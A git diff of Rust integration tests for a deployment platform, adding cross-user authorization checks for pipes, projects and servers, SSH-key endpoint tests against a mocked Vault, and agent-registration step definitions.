+async fn test_owner_can_mint_handoff_for_legacy_installation() {
+    let user_service = MockServer::start().await;
+    let auth_header = format!("Bearer {}", USER_A_TOKEN);
+    Mock::given(method("GET"))
+        .and(path("/api/1.0/installations/13830"))
+        .and(header("authorization", auth_header.as_str()))
+        .respond_with(ResponseTemplate::new(200).set_body_json(serde_json::json!({
+            "_id": 13830,
+            "stack_code": "openclaw",
+            "status": "completed",
+            "cloud": "hetzner",
+            "deployment_hash": "legacy-dep-13830",
+            "domain": "openclawtest1.com",
+            "server_ip": "203.0.113.10",
+            "_created": "2026-04-13T10:00:00Z",
+            "_updated": "2026-04-13T10:05:00Z"
+        })))
+        .mount(&user_service)
+        .await;
+
+    let Some(app) = spawn_app_two_users_with_user_service(&user_service.uri()).await else {
+        return;
+    };
+    let client = reqwest::Client::new();
+
+    let mint = client
+        .post(format!("{}/api/v1/handoff/mint", &app.address))
+        .header("Authorization", format!("Bearer {}", USER_A_TOKEN))
+        .json(&serde_json::json!({
+            "deployment_id": 13830,
+            "deployment_hash": "legacy-dep-13830"
+        }))
+        .send()
+        .await
+        .expect("Failed to mint handoff");
+
+    assert_eq!(
+        mint.status(),
+        200,
+        "Mint should succeed for legacy installation"
+    );
+    let minted: serde_json::Value = mint.json().await.expect("Mint response must be json");
+    let command = minted["item"]["command"]
+        .as_str()
+        .expect("Mint response should include CLI command");
+    let token = minted["item"]["token"]
+        .as_str()
+        .expect("Mint response should include handoff token");
+    assert!(command.starts_with("stacker connect --handoff "));
+
+    let resolve = client
+        .post(format!("{}/api/v1/handoff/resolve", &app.address))
+        .json(&serde_json::json!({ "token": token }))
+        .send()
+        .await
+        .expect("Failed to resolve handoff");
+    assert_eq!(resolve.status(), 200);
+
+    let resolved: serde_json::Value = resolve.json().await.expect("Resolve response must be json");
+    assert_eq!(resolved["item"]["deployment"]["hash"], "legacy-dep-13830");
+    assert_eq!(resolved["item"]["deployment"]["target"], "cloud");
+    assert_eq!(resolved["item"]["server"]["ip"], "203.0.113.10");
+}
diff --git a/tests/security_pipes.rs b/tests/security_pipes.rs
index d0c3afdf..e9e1d1b2 100644
--- a/tests/security_pipes.rs
+++ b/tests/security_pipes.rs
@@ -6,6 +6,7 @@
 mod common;
 
 use reqwest::StatusCode;
+use serde_json::json;
 use sqlx::Row;
 
 /// Insert a private pipe template for the given user. Returns its UUID.
@@ -26,10 +27,7 @@ async fn seed_pipe_template(pool: &sqlx::PgPool, user_id: &str) -> uuid::Uuid {
 }
 
 /// Seed a deployment + pipe instance for the given user. Returns (deployment_hash, instance_id).
-async fn seed_pipe_instance(
-    pool: &sqlx::PgPool,
-    user_id: &str,
-) -> (String, uuid::Uuid) {
+async fn seed_pipe_instance(pool: &sqlx::PgPool, user_id: &str) -> (String, uuid::Uuid) {
     let project_id = common::create_test_project(pool, user_id).await;
     let hash = format!("dpl-{}", uuid::Uuid::new_v4());
     let _did = common::create_test_deployment(pool, user_id, project_id, &hash).await;
@@ -55,7 +53,9 @@ async fn seed_pipe_instance(
 /// Currently the endpoint returns all templates regardless of ownership.
 #[tokio::test]
 async fn test_list_pipe_templates_leaks_all() {
-    let Some(app) = common::spawn_app_two_users().await else { return };
+    let Some(app) = common::spawn_app_two_users().await else {
+        return;
+    };
     let client = reqwest::Client::new();
 
     let tmpl_id = seed_pipe_template(&app.db_pool, common::USER_A_ID).await;
@@ -72,10 +72,7 @@ async fn test_list_pipe_templates_leaks_all() {
     let body: serde_json::Value = resp.json().await.unwrap();
     let list = body["list"].as_array().expect("list should be an array");
 
-    let ids: Vec<&str> = list
-        .iter()
-        .filter_map(|t| t["id"].as_str())
-        .collect();
+    let ids: Vec<&str> = list.iter().filter_map(|t| t["id"].as_str()).collect();
 
     assert!(
         !ids.contains(&tmpl_id.to_string().as_str()),
@@ -90,7 +87,9 @@ async fn test_list_pipe_templates_leaks_all() {
 /// User B should NOT be able to fetch User A's private template by ID.
 #[tokio::test]
 async fn test_get_pipe_template_rejects_other_user() {
-    let Some(app) = common::spawn_app_two_users().await else { return };
+    let Some(app) = common::spawn_app_two_users().await else {
+        return;
+    };
     let client = reqwest::Client::new();
 
     let tmpl_id = seed_pipe_template(&app.db_pool, common::USER_A_ID).await;
@@ -117,16 +116,15 @@ async fn test_get_pipe_template_rejects_other_user() {
 /// User B should NOT see pipe instances for User A's deployment.
 #[tokio::test]
 async fn test_list_pipe_instances_rejects_other_user() {
-    let Some(app) = common::spawn_app_two_users().await else { return };
+    let Some(app) = common::spawn_app_two_users().await else {
+        return;
+    };
     let client = reqwest::Client::new();
 
     let (hash_a, _inst_id) = seed_pipe_instance(&app.db_pool, common::USER_A_ID).await;
 
     let resp = client
-        .get(format!(
-            "{}/api/v1/pipes/instances/{}",
-            app.address, hash_a
-        ))
+        .get(format!("{}/api/v1/pipes/instances/{}", app.address, hash_a))
         .header("Authorization", format!("Bearer {}", common::USER_B_TOKEN))
         .send()
         .await
@@ -152,7 +150,9 @@ async fn test_list_pipe_instances_rejects_other_user() {
 /// User B should NOT be able to fetch User A's pipe instance by ID.
 #[tokio::test]
 async fn test_get_pipe_instance_rejects_other_user() {
-    let Some(app) = common::spawn_app_two_users().await else { return };
+    let Some(app) = common::spawn_app_two_users().await else {
+        return;
+    };
     let client = reqwest::Client::new();
 
     let (_hash_a, inst_id) = seed_pipe_instance(&app.db_pool, common::USER_A_ID).await;
@@ -178,17 +178,16 @@ async fn test_get_pipe_instance_rejects_other_user() {
 
 #[tokio::test]
 async fn test_owner_can_list_own_pipe_instances() {
-    let Some(app) = common::spawn_app_two_users().await else { return };
+    let Some(app) = common::spawn_app_two_users().await else {
+        return;
+    };
     let client = reqwest::Client::new();
 
     let (hash_a, inst_id) = seed_pipe_instance(&app.db_pool, common::USER_A_ID).await;
 
     // List
     let resp = client
-        .get(format!(
-            "{}/api/v1/pipes/instances/{}",
-            app.address, hash_a
-        ))
+        .get(format!("{}/api/v1/pipes/instances/{}", app.address, hash_a))
         .header("Authorization", format!("Bearer {}", common::USER_A_TOKEN))
         .send()
         .await
@@ -216,3 +215,67 @@ async fn test_owner_can_list_own_pipe_instances() {
 
     assert_eq!(resp.status(), StatusCode::OK);
 }
+
+#[tokio::test]
+async fn test_update_pipe_instance_rejects_other_user() {
+    let Some(app) = common::spawn_app_two_users().await else {
+        return;
+    };
+    let client = reqwest::Client::new();
+
+    let (_hash_a, inst_id) = seed_pipe_instance(&app.db_pool, common::USER_A_ID).await;
+
+    let resp = client
+        .put(format!(
+            "{}/api/v1/pipes/instances/{}/status",
+            app.address, inst_id
+        ))
+        .header("Authorization", format!("Bearer {}", common::USER_B_TOKEN))
+        .json(&json!({ "status": "paused" }))
+        .send()
+        .await
+        .expect("request failed");
+
+    assert_eq!(
+        resp.status(),
+        StatusCode::NOT_FOUND,
+        "User B must not update User A's pipe instance"
+    );
+
+    let status: String = sqlx::query_scalar("SELECT status FROM pipe_instances WHERE id = $1")
+        .bind(inst_id)
+        .fetch_one(&app.db_pool)
+        .await
+        .expect("Failed to fetch pipe status");
+    assert_eq!(status, "active");
+}
+
+#[tokio::test]
+async fn test_owner_can_update_own_pipe_instance_status() {
+    let Some(app) = common::spawn_app_two_users().await else {
+        return;
+    };
+    let client = reqwest::Client::new();
+
+    let (_hash_a, inst_id) = seed_pipe_instance(&app.db_pool, common::USER_A_ID).await;
+
+    let resp = client
+        .put(format!(
+            "{}/api/v1/pipes/instances/{}/status",
+            app.address, inst_id
+        ))
+        .header("Authorization", format!("Bearer {}", common::USER_A_TOKEN))
+        .json(&json!({ "status": "paused" }))
+        .send()
+        .await
+        .expect("request failed");
+
+    assert_eq!(resp.status(), StatusCode::OK);
+
+    let status: String = sqlx::query_scalar("SELECT status FROM pipe_instances WHERE id = $1")
+        .bind(inst_id)
+        .fetch_one(&app.db_pool)
+        .await
+        .expect("Failed to fetch pipe status");
+    assert_eq!(status, "paused");
+}
diff --git a/tests/security_project.rs b/tests/security_project.rs
index a0a1c486..03a7c118 100644
--- a/tests/security_project.rs
+++ b/tests/security_project.rs
@@ -2,7 +2,6 @@ mod common;
 
 /// IDOR security tests for /project endpoints.
 /// Verify that User B cannot list, read, update, or delete User A's projects.
-
 #[tokio::test]
 async fn test_list_projects_only_returns_own() {
     let Some(app) = common::spawn_app_two_users().await else {
@@ -18,7 +17,7 @@ async fn test_list_projects_only_returns_own() {
 
     // User A lists → sees exactly 2
     let resp = client
-        .get(&format!("{}/project", &app.address))
+        .get(format!("{}/project", &app.address))
         .header("Authorization", format!("Bearer {}", common::USER_A_TOKEN))
         .send()
         .await
@@ -30,7 +29,7 @@ async fn test_list_projects_only_returns_own() {
 
     // User B lists → sees exactly 1
     let resp = client
-        .get(&format!("{}/project", &app.address))
+        .get(format!("{}/project", &app.address))
         .header("Authorization", format!("Bearer {}", common::USER_B_TOKEN))
         .send()
         .await
@@ -52,7 +51,7 @@ async fn test_get_project_rejects_other_user() {
 
     // User B tries to GET User A's project → 404
     let resp = client
-        .get(&format!("{}/project/{}", &app.address, project_id))
+        .get(format!("{}/project/{}", &app.address, project_id))
         .header("Authorization", format!("Bearer {}", common::USER_B_TOKEN))
         .send()
         .await
@@ -75,7 +74,7 @@ async fn test_update_project_rejects_other_user() {
 
     // User B tries to PUT User A's project → 400 (bad_request = IDOR guard)
     let resp = client
-        .put(&format!("{}/project/{}", &app.address, project_id))
+        .put(format!("{}/project/{}", &app.address, project_id))
         .header("Authorization", format!("Bearer {}", common::USER_B_TOKEN))
         .header("Content-Type", "application/json")
         .body(r#"{"custom_stack_code":"hijacked","commonDomain":"test.com","dockerhub_user":"x","dockerhub_password":"x","apps":[]}"#)
@@ -100,7 +99,7 @@ async fn test_delete_project_rejects_other_user() {
 
     // User B tries to DELETE User A's project → 400 (bad_request = IDOR guard)
     let resp = client
-        .delete(&format!("{}/project/{}", &app.address, project_id))
+        .delete(format!("{}/project/{}", &app.address, project_id))
         .header("Authorization", format!("Bearer {}", common::USER_B_TOKEN))
         .send()
         .await
@@ -123,7 +122,7 @@ async fn test_owner_can_access_own_project() {
 
     // User A GETs own project → 200
     let resp = client
-        .get(&format!("{}/project/{}", &app.address, project_id))
+        .get(format!("{}/project/{}", &app.address, project_id))
         .header("Authorization", format!("Bearer {}", common::USER_A_TOKEN))
         .send()
         .await
diff --git a/tests/security_rating.rs b/tests/security_rating.rs
index eb1b2d73..b017223e 100644
--- a/tests/security_rating.rs
+++ b/tests/security_rating.rs
@@ -5,7 +5,6 @@ use sqlx::Row;
 
 /// Rating edit/delete endpoints check `rating.user_id == user.id`.
 /// Non-owner attempts return 404 (the handler treats missing-or-not-owned as "not found").
-
 async fn insert_rating(pool: &sqlx::PgPool, user_id: &str) -> i32 {
     let rec = sqlx::query(
         "INSERT INTO rating (user_id, obj_id, rating, comment, category) \
diff --git a/tests/security_server.rs b/tests/security_server.rs
index c0a56acd..5a4be062 100644
--- a/tests/security_server.rs
+++ b/tests/security_server.rs
@@ -2,7 +2,6 @@ mod common;
 
 /// IDOR security tests for /server endpoints.
 /// Verify that User B cannot list, read, or delete User A's servers.
-
 #[tokio::test]
 async fn test_list_servers_only_returns_own() {
     let Some(app) = common::spawn_app_two_users().await else {
@@ -25,7 +24,7 @@ async fn test_list_servers_only_returns_own() {
 
     // User A lists → sees exactly 2
     let resp = client
-        .get(&format!("{}/server", &app.address))
+        .get(format!("{}/server", &app.address))
         .header("Authorization", format!("Bearer {}", common::USER_A_TOKEN))
         .send()
         .await
@@ -37,7 +36,7 @@ async fn test_list_servers_only_returns_own() {
 
     // User B lists → sees exactly 1
     let resp = client
-        .get(&format!("{}/server", &app.address))
+        .get(format!("{}/server", &app.address))
         .header("Authorization", format!("Bearer {}", common::USER_B_TOKEN))
         .send()
         .await
@@ -62,7 +61,7 @@ async fn test_get_server_rejects_other_user() {
 
     // User B tries to GET User A's server → 404
     let resp = client
-        .get(&format!("{}/server/{}", &app.address, server_id))
+        .get(format!("{}/server/{}", &app.address, server_id))
         .header("Authorization", format!("Bearer {}", common::USER_B_TOKEN))
         .send()
         .await
@@ -88,7 +87,7 @@ async fn test_get_server_by_project_rejects_other_user() {
 
     // User B tries to GET servers by User A's project → 404
     let resp = client
-        .get(&format!("{}/server/project/{}", &app.address, proj_a))
+        .get(format!("{}/server/project/{}", &app.address, proj_a))
         .header("Authorization", format!("Bearer {}", common::USER_B_TOKEN))
         .send()
         .await
@@ -114,7 +113,7 @@ async fn test_delete_server_rejects_other_user() {
 
     // User B tries to DELETE User A's server → 400 (bad_request = IDOR guard)
     let resp = client
-        .delete(&format!("{}/server/{}", &app.address, server_id))
+        .delete(format!("{}/server/{}", &app.address, server_id))
         .header("Authorization", format!("Bearer {}", common::USER_B_TOKEN))
         .send()
         .await
@@ -140,7 +139,7 @@ async fn test_owner_can_access_own_server() {
 
     // User A GETs own server → 200
     let resp = client
-        .get(&format!("{}/server/{}", &app.address, server_id))
+        .get(format!("{}/server/{}", &app.address, server_id))
         .header("Authorization", format!("Bearer {}", common::USER_A_TOKEN))
         .send()
         .await
diff --git a/tests/server_ssh.rs b/tests/server_ssh.rs
index f0986cb7..f737dcc2 100644
--- a/tests/server_ssh.rs
+++ b/tests/server_ssh.rs
@@ -10,10 +10,7 @@ use wiremock::{Mock, ResponseTemplate};
 
 /// Vault path pattern for SSH keys: /v1/secret/users/{user_id}/ssh_keys/{server_id}
 fn vault_ssh_path_regex(user_id: &str, server_id: i32) -> String {
-    format!(
-        r"/v1/secret/users/{}/ssh_keys/{}",
-        user_id, server_id
-    )
+    format!(r"/v1/secret/users/{}/ssh_keys/{}", user_id, server_id)
 }
 
 /// Successful Vault GET response body for a KV v1 SSH key read.
@@ -26,6 +23,15 @@ fn vault_key_response(public_key: &str, private_key: &str) -> serde_json::Value
     })
 }
 
+async fn set_server_ip(pool: &sqlx::PgPool, server_id: i32, ip: &str) {
+    sqlx::query("UPDATE server SET srv_ip = $1 WHERE id = $2")
+        .bind(ip)
+        .bind(server_id)
+        .execute(pool)
+        .await
+        .expect("Failed to update test server IP");
+}
+
 // ─────────────────────────────────────────────────────────────────────────────
 // Tests: GET /server/{id}/ssh-key/public
 // ─────────────────────────────────────────────────────────────────────────────
@@ -50,7 +56,10 @@ async fn test_get_public_key_vault_path_null_returns_400() {
 
     let client = reqwest::Client::new();
     let resp = client
-        .get(&format!("{}/server/{}/ssh-key/public", &app.address, server_id))
+        .get(format!(
+            "{}/server/{}/ssh-key/public",
+            &app.address, server_id
+        ))
         .header("Authorization", "Bearer test-token")
         .send()
         .await
@@ -60,8 +69,11 @@ async fn test_get_public_key_vault_path_null_returns_400() {
     let body: Value = resp.json().await.unwrap();
     let msg = body["message"].as_str().unwrap_or("");
     assert!(
-        msg.to_lowercase().contains("vault") || msg.to_lowercase().contains("regenerate") || msg.to_lowercase().contains("delete"),
-        "Error message should mention Vault or remediation: {}", msg
+        msg.to_lowercase().contains("vault")
+            || msg.to_lowercase().contains("regenerate")
+            || msg.to_lowercase().contains("delete"),
+        "Error message should mention Vault or remediation: {}",
+        msg
     );
     // Vault server must NOT have been called (no vault_key_path to use)
     assert_eq!(app.vault_server.received_requests().await.unwrap().len(), 0);
@@ -94,18 +106,26 @@ async fn test_get_public_key_vault_returns_404_propagates_as_404() {
 
     let client = reqwest::Client::new();
     let resp = client
-        .get(&format!("{}/server/{}/ssh-key/public", &app.address, server_id))
+        .get(format!(
+            "{}/server/{}/ssh-key/public",
+            &app.address, server_id
+        ))
         .header("Authorization", "Bearer test-token")
         .send()
         .await
         .expect("request failed");
 
-    assert_eq!(resp.status().as_u16(), 404, "Should be 404 when Vault returns 404");
+    assert_eq!(
+        resp.status().as_u16(),
+        404,
+        "Should be 404 when Vault returns 404"
+    );
     let body: Value = resp.json().await.unwrap();
     let msg = body["message"].as_str().unwrap_or("");
     assert!(
         msg.to_lowercase().contains("vault") || msg.to_lowercase().contains("regenerate"),
-        "Error message should mention Vault: {}", msg
+        "Error message should mention Vault: {}",
+        msg
     );
 }
 
@@ -118,18 +138,15 @@ async fn test_get_public_key_no_active_key_returns_404() {
         None => return,
     };
     let project_id = common::create_test_project(&app.db_pool, "test_user_id").await;
-    let server_id = common::create_test_server(
-        &app.db_pool,
-        "test_user_id",
-        project_id,
-        "none",
-        None,
-    )
-    .await;
+    let server_id =
+        common::create_test_server(&app.db_pool, "test_user_id", project_id, "none", None).await;
 
     let client = reqwest::Client::new();
     let resp = client
-        .get(&format!("{}/server/{}/ssh-key/public", &app.address, server_id))
+        .get(format!(
+            "{}/server/{}/ssh-key/public",
+            &app.address, server_id
+        ))
         .header("Authorization", "Bearer test-token")
         .send()
         .await
@@ -159,18 +176,19 @@ async fn test_get_public_key_success() {
 
     Mock::given(method("GET"))
         .and(path_regex(vault_ssh_path_regex("test_user_id", server_id)))
-        .respond_with(
-            ResponseTemplate::new(200).set_body_json(vault_key_response(
-                expected_pub_key,
-                "-----BEGIN OPENSSH PRIVATE KEY-----\ntest\n-----END OPENSSH PRIVATE KEY-----",
-            )),
-        )
+        .respond_with(ResponseTemplate::new(200).set_body_json(vault_key_response(
+            expected_pub_key,
+            "-----BEGIN OPENSSH PRIVATE KEY-----\ntest\n-----END OPENSSH PRIVATE KEY-----",
+        )))
         .mount(&app.vault_server)
         .await;
 
     let client = reqwest::Client::new();
     let resp = client
-        .get(&format!("{}/server/{}/ssh-key/public", &app.address, server_id))
+        .get(format!(
+            "{}/server/{}/ssh-key/public",
+            &app.address, server_id
+        ))
         .header("Authorization", "Bearer test-token")
         .send()
         .await
@@ -198,14 +216,8 @@ async fn test_generate_key_vault_down_returns_private_key_inline() {
         None => return,
     };
     let project_id = common::create_test_project(&app.db_pool, "test_user_id").await;
-    let server_id = common::create_test_server(
-        &app.db_pool,
-        "test_user_id",
-        project_id,
-        "none",
-        None,
-    )
-    .await;
+    let server_id =
+        common::create_test_server(&app.db_pool, "test_user_id", project_id, "none", None).await;
 
     // Vault is down — POST returns 500
     Mock::given(method("POST"))
@@ -216,13 +228,20 @@ async fn test_generate_key_vault_down_returns_private_key_inline() {
 
     let client = reqwest::Client::new();
     let resp = client
-        .post(&format!("{}/server/{}/ssh-key/generate", &app.address, server_id))
+        .post(format!(
+            "{}/server/{}/ssh-key/generate",
+            &app.address, server_id
+        ))
         .header("Authorization", "Bearer test-token")
         .send()
         .await
         .expect("request failed");
 
-    assert_eq!(resp.status().as_u16(), 200, "Generate should succeed even when Vault is down");
+    assert_eq!(
+        resp.status().as_u16(),
+        200,
+        "Generate should succeed even when Vault is down"
+    );
     let body: Value = resp.json().await.unwrap();
 
     // Private key must be returned inline so user can save it
@@ -259,14 +278,8 @@ async fn test_generate_key_success_stores_in_vault_no_private_key_exposed() {
         None => return,
     };
     let project_id = common::create_test_project(&app.db_pool, "test_user_id").await;
-    let server_id = common::create_test_server(
-        &app.db_pool,
-        "test_user_id",
-        project_id,
-        "none",
-        None,
-    )
-    .await;
+    let server_id =
+        common::create_test_server(&app.db_pool, "test_user_id", project_id, "none", None).await;
 
     // Vault is up — POST returns 204
     Mock::given(method("POST"))
@@ -277,7 +290,10 @@ async fn test_generate_key_success_stores_in_vault_no_private_key_exposed() {
 
     let client = reqwest::Client::new();
     let resp = client
-        .post(&format!("{}/server/{}/ssh-key/generate", &app.address, server_id))
+        .post(format!(
+            "{}/server/{}/ssh-key/generate",
+            &app.address, server_id
+        ))
         .header("Authorization", "Bearer test-token")
         .send()
         .await
@@ -291,7 +307,10 @@ async fn test_generate_key_success_stores_in_vault_no_private_key_exposed() {
         body["item"]["private_key"].is_null() || !body["item"]["private_key"].is_string(),
         "Private key must NOT be returned when Vault stored it successfully"
     );
-    assert!(body["item"]["public_key"].is_string(), "Public key must be present");
+    assert!(
+        body["item"]["public_key"].is_string(),
+        "Public key must be present"
+    );
 
     // DB: vault_key_path must be set
     let row = sqlx::query("SELECT key_status, vault_key_path FROM server WHERE id = $1")
@@ -328,7 +347,10 @@ async fn test_generate_key_already_active_returns_400() {
 
     let client = reqwest::Client::new();
     let resp = client
-        .post(&format!("{}/server/{}/ssh-key/generate", &app.address, server_id))
+        .post(format!(
+            "{}/server/{}/ssh-key/generate",
+            &app.address, server_id
+        ))
         .header("Authorization", "Bearer test-token")
         .send()
         .await
@@ -369,7 +391,7 @@ async fn test_delete_key_clears_vault_and_db() {
 
     let client = reqwest::Client::new();
     let resp = client
-        .delete(&format!("{}/server/{}/ssh-key", &app.address, server_id))
+        .delete(format!("{}/server/{}/ssh-key", &app.address, server_id))
         .header("Authorization", "Bearer test-token")
         .send()
         .await
@@ -392,6 +414,31 @@ async fn test_delete_key_clears_vault_and_db() {
 /// Deleting when no key exists must return 400.
 #[tokio::test]
 async fn test_delete_key_none_returns_400() {
+    let app = match common::spawn_app_with_vault().await {
+        Some(a) => a,
+        None => return,
+    };
+    let project_id = common::create_test_project(&app.db_pool, "test_user_id").await;
+    let server_id =
+        common::create_test_server(&app.db_pool, "test_user_id", project_id, "none", None).await;
+
+    let client = reqwest::Client::new();
+    let resp = client
+        .delete(format!("{}/server/{}/ssh-key", &app.address, server_id))
+        .header("Authorization", "Bearer test-token")
+        .send()
+        .await
+        .expect("request failed");
+
+    assert_eq!(resp.status().as_u16(), 400);
+}
+
+// ─────────────────────────────────────────────────────────────────────────────
+// Tests: POST /server/{id}/ssh-key/authorize-public-key
+// ─────────────────────────────────────────────────────────────────────────────
+
+#[tokio::test]
+async fn test_authorize_public_key_invalid_public_key_returns_400_before_vault() {
     let app = match common::spawn_app_with_vault().await {
         Some(a) => a,
         None => return,
@@ -401,20 +448,138 @@ async fn test_delete_key_none_returns_400() {
         &app.db_pool,
         "test_user_id",
         project_id,
-        "none",
-        None,
+        "active",
+        Some("secret/users/test_user_id/ssh_keys/1"),
     )
     .await;
+    set_server_ip(&app.db_pool, server_id, "203.0.113.10").await;
 
     let client = reqwest::Client::new();
     let resp = client
-        .delete(&format!("{}/server/{}/ssh-key", &app.address, server_id))
+        .post(format!(
+            "{}/server/{}/ssh-key/authorize-public-key",
+            &app.address, server_id
+        ))
         .header("Authorization", "Bearer test-token")
+        .json(&json!({"public_key": "not-a-public-key"}))
         .send()
         .await
         .expect("request failed");
 
     assert_eq!(resp.status().as_u16(), 400);
+    let body: Value = resp.json().await.unwrap();
+    let msg = body["message"].as_str().unwrap_or("");
+    assert!(msg.to_lowercase().contains("invalid public key"));
+    assert_eq!(app.vault_server.received_requests().await.unwrap().len(), 0);
+}
+
+#[tokio::test]
+async fn test_authorize_public_key_vault_path_null_returns_400_before_vault() {
+    let app = match common::spawn_app_with_vault().await {
+        Some(a) => a,
+        None => return,
+    };
+    let project_id = common::create_test_project(&app.db_pool, "test_user_id").await;
+    let server_id =
+        common::create_test_server(&app.db_pool, "test_user_id", project_id, "active", None).await;
+    let (public_key, _) = stacker::helpers::VaultClient::generate_ssh_keypair().unwrap();
+
+    let client = reqwest::Client::new();
+    let resp = client
+        .post(format!(
+            "{}/server/{}/ssh-key/authorize-public-key",
+            &app.address, server_id
+        ))
+        .header("Authorization", "Bearer test-token")
+        .json(&json!({"public_key": public_key}))
+        .send()
+        .await
+        .expect("request failed");
+
+    assert_eq!(resp.status().as_u16(), 400);
+    let body: Value = resp.json().await.unwrap();
+    let msg = body["message"].as_str().unwrap_or("");
+    assert!(msg.to_lowercase().contains("vault"));
+    assert_eq!(app.vault_server.received_requests().await.unwrap().len(), 0);
+}
+
+#[tokio::test]
+async fn test_authorize_public_key_missing_server_ip_returns_400_before_vault() {
+    let app = match common::spawn_app_with_vault().await {
+        Some(a) => a,
+        None => return,
+    };
+    let project_id = common::create_test_project(&app.db_pool, "test_user_id").await;
+    let server_id = common::create_test_server(
+        &app.db_pool,
+        "test_user_id",
+        project_id,
+        "active",
+        Some("secret/users/test_user_id/ssh_keys/1"),
+    )
+    .await;
+    let (public_key, _) = stacker::helpers::VaultClient::generate_ssh_keypair().unwrap();
+
+    let client = reqwest::Client::new();
+    let resp = client
+        .post(format!(
+            "{}/server/{}/ssh-key/authorize-public-key",
+            &app.address, server_id
+        ))
+        .header("Authorization", "Bearer test-token")
+        .json(&json!({"public_key": public_key}))
+        .send()
+        .await
+        .expect("request failed");
+
+    assert_eq!(resp.status().as_u16(), 400);
+    let body: Value = resp.json().await.unwrap();
+    let msg = body["message"].as_str().unwrap_or("");
+    assert!(msg.to_lowercase().contains("ip"));
+    assert_eq!(app.vault_server.received_requests().await.unwrap().len(), 0);
+}
+
+#[tokio::test]
+async fn test_authorize_public_key_vault_read_failure_does_not_leak_private_key() {
+    let app = match common::spawn_app_with_vault().await {
+        Some(a) => a,
+        None => return,
+    };
+    let project_id = common::create_test_project(&app.db_pool, "test_user_id").await;
+    let server_id = common::create_test_server(
+        &app.db_pool,
+        "test_user_id",
+        project_id,
+        "active",
+        Some("secret/users/test_user_id/ssh_keys/1"),
+    )
+    .await;
+    set_server_ip(&app.db_pool, server_id, "203.0.113.10").await;
+    let (public_key, _) = stacker::helpers::VaultClient::generate_ssh_keypair().unwrap();
+
+    Mock::given(method("GET"))
+        .and(path_regex(vault_ssh_path_regex("test_user_id", server_id)))
+        .respond_with(ResponseTemplate::new(500).set_body_string("vault unavailable"))
+        .mount(&app.vault_server)
+        .await;
+
+    let client = reqwest::Client::new();
+    let resp = client
+        .post(format!(
+            "{}/server/{}/ssh-key/authorize-public-key",
+            &app.address, server_id
+        ))
+        .header("Authorization", "Bearer test-token")
+        .json(&json!({"public_key": public_key}))
+        .send()
+        .await
+        .expect("request failed");
+
+    assert_eq!(resp.status().as_u16(), 400);
+    let body: Value = resp.json().await.unwrap();
+    let body_text = body.to_string();
+    assert!(!body_text.contains("PRIVATE KEY"));
+    assert!(!body_text.contains("vault unavailable"));
 }
 
 // ─────────────────────────────────────────────────────────────────────────────
@@ -431,24 +596,27 @@ async fn test_ssh_key_endpoints_require_auth() {
     let client = reqwest::Client::new();
 
     let endpoints: &[(&str, &str)] = &[
-        ("GET",    "/server/1/ssh-key/public"),
-        ("POST",   "/server/1/ssh-key/generate"),
+        ("GET", "/server/1/ssh-key/public"),
+        ("POST", "/server/1/ssh-key/generate"),
+        ("POST", "/server/1/ssh-key/authorize-public-key"),
         ("DELETE", "/server/1/ssh-key"),
     ];
 
     for (verb, path) in endpoints {
         let req = match *verb {
-            "GET"    => client.get(&format!("{}{}", &app.address, path)),
-            "POST"   => client.post(&format!("{}{}", &app.address, path)),
-            "DELETE" => client.delete(&format!("{}{}", &app.address, path)),
-            _        => unreachable!(),
+            "GET" => client.get(format!("{}{}", &app.address, path)),
+            "POST" => client.post(format!("{}{}", &app.address, path)),
+            "DELETE" => client.delete(format!("{}{}", &app.address, path)),
+            _ => unreachable!(),
         };
         let resp = req.send().await.expect("request failed");
         let status = resp.status().as_u16();
         assert!(
             status == 400 || status == 401 || status == 403 || status == 404,
             "{} {} without auth should return 400/401/403, got {}",
-            verb, path, status
+            verb,
+            path,
+            status
         );
     }
 }
diff --git a/tests/steps/agent.rs b/tests/steps/agent.rs
new file mode 100644
index 00000000..9a327780
--- /dev/null
+++ b/tests/steps/agent.rs
@@ -0,0 +1,416 @@
+use cucumber::{given, then, when};
+use serde_json::json;
+
+use super::StepWorld;
+
+// ─── Agent Registration steps ────────────────────────────────────
+
+#[when(regex = r#"^I register an agent with deployment hash "(.+)" and capabilities "(.+)"$"#)]
+async fn register_agent_with_caps(world: &mut StepWorld, hash: String, caps: String) {
+    let capabilities: Vec<&str> = caps.split(',').collect();
+    let body = json!({
+        "deployment_hash": hash,
+        "agent_version": "1.0.0-bdd",
+        "capabilities": capabilities,
+        "system_info": { "os": "linux", "arch": "x86_64" }
+    });
+    register_agent_raw(world, &body).await;
+}
+
+#[when(regex = r#"^I register an agent with deployment hash "([^"]*)"$"#)]
+async fn register_agent(world: &mut StepWorld, hash: String) {
+    let body = json!({
+        "deployment_hash": hash,
+        "agent_version": "1.0.0-bdd",
+        "capabilities": ["docker", "logs"],
+        "system_info": { "os": "linux", "arch": "x86_64" }
+    });
+    register_agent_raw(world, &body).await;
+}
+
+async fn register_agent_raw(world: &mut StepWorld, body: &serde_json::Value) {
+    let url = format!("{}/api/v1/agent/register", world.base_url);
+    let resp = world
+        .client
+        .post(&url)
+        .json(body)
+        .send()
+        .await
+        .expect("Register request failed");
+
+    let status = resp.status().as_u16();
+    let body = resp.text().await.unwrap_or_default();
+    world.status_code = Some(status);
+    world.response_body = Some(body.clone());
+    world.response_json = serde_json::from_str(&body).ok();
+
+    // Store agent_id and agent_token if present
+    if let Some(ref json) = world.response_json {
+        if let Some(agent_id) = json.pointer("/data/item/agent_id").and_then(|v| v.as_str()) {
+            world
+                .stored_ids
+                .insert("agent_id".to_string(), agent_id.to_string());
+        } else if let Some(agent_id) = json.pointer("/item/agent_id").and_then(|v| v.as_str()) {
+            world
+                .stored_ids
+                .insert("agent_id".to_string(), agent_id.to_string());
+        }
+        if let Some(token) = json
+            .pointer("/data/item/agent_token")
+            .and_then(|v| v.as_str())
+        {
+            world
+                .stored_ids
+                .insert("agent_token".to_string(), token.to_string());
+        } else if let Some(token) = json.pointer("/item/agent_token").and_then(|v| v.as_str()) {
+            world
+                .stored_ids
+                .insert("agent_token".to_string(), token.to_string());
+        }
+    }
+}
+
+#[then("the response should contain an agent_id")]
+async fn then_has_agent_id(world: &mut StepWorld) {
+    assert!(
+        world.stored_ids.contains_key("agent_id"),
+        "Response should contain agent_id. Body: {}",
+        world.response_body.as_deref().unwrap_or("<none>")
+    );
+}
+
+#[then("the response should contain an agent_token")]
+async fn then_has_agent_token(world: &mut StepWorld) {
+    assert!(
+        world.stored_ids.contains_key("agent_token"),
+        "Response should contain agent_token. Body: {}",
+        world.response_body.as_deref().unwrap_or("<none>")
+    );
+}
+
+// ─── Command steps ───────────────────────────────────────────────
+
